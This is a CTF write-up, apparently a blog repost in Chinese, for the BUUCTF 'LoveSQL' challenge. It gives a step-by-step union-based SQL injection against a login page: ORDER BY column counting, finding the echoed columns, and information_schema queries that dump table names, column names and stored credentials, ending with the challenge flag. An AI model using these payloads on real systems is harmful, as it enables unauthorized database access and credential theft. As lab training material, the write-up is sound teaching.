BUUCTF-WEB:[极客大挑战 2019]LoveSQL 1
工具:Firefox,hackbar
這是一道非常常規的SQL的union聯合注入的例題
步驟:
union聯合注入過程
第一步、測試注入點(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數字型
payload:?username=1'%23&password=123???????? =====》NO,Wrong username password!!!此時是在url中輸入的,所以不能用#,而用其url編碼%23
???????????????? ?username=1&password=123??????????????? =====》NO,Wrong username password!!!
第二步、利用order by查表的列數
payload:?username=1' order by 1 %23&password=123?????? ======》NO,Wrong username password!!!
payload:?username=1' order by 4 %23&password=123?????? ======》Unknown column '4' in 'order clause'
可知表有3列
第三步、如有回顯,找到回顯位(回顯,就是顯示正在執行的批處理命令及執行的結果等)
payload:?username=1' union select 1,2,3 %23&password=123?
得知2、3是回顯位
第四步、利用union select 爆庫、爆表、爆字段名、爆值
payload:?username=1' union select 1,2,database() %23&password=123 【查看數據庫名==》geek】
payload:?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=123【查看表名==》geekuser,l0ve1ysq1】
或者/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
payload:?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23&password=123【查看列名===》id,username,password】
payload:?username=1' union select 1,2,group_concat(username) from geekuser%23&password=123【爆值,爆geekuser==》無果】
payload:?username=1' union select 1,2,group_concat(username,id,password) from l0ve1ysq1%23&password=123【試試爆l0ve1ysq1==》得到flag】
得到flag:flag{5f7db3c7-1ce1-44d7-9d7d-892f8c66a671}
聯合注入知識點不清楚查看:https://blog.csdn.net/Waffle666/article/details/111410039
總結
以上是生活随笔為你收集整理的BUUCTF-WEB:[极客大挑战 2019]LoveSQL 1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【2016年第5期】位置大数据在车辆保险
- 下一篇: 【CyberSecurityLearni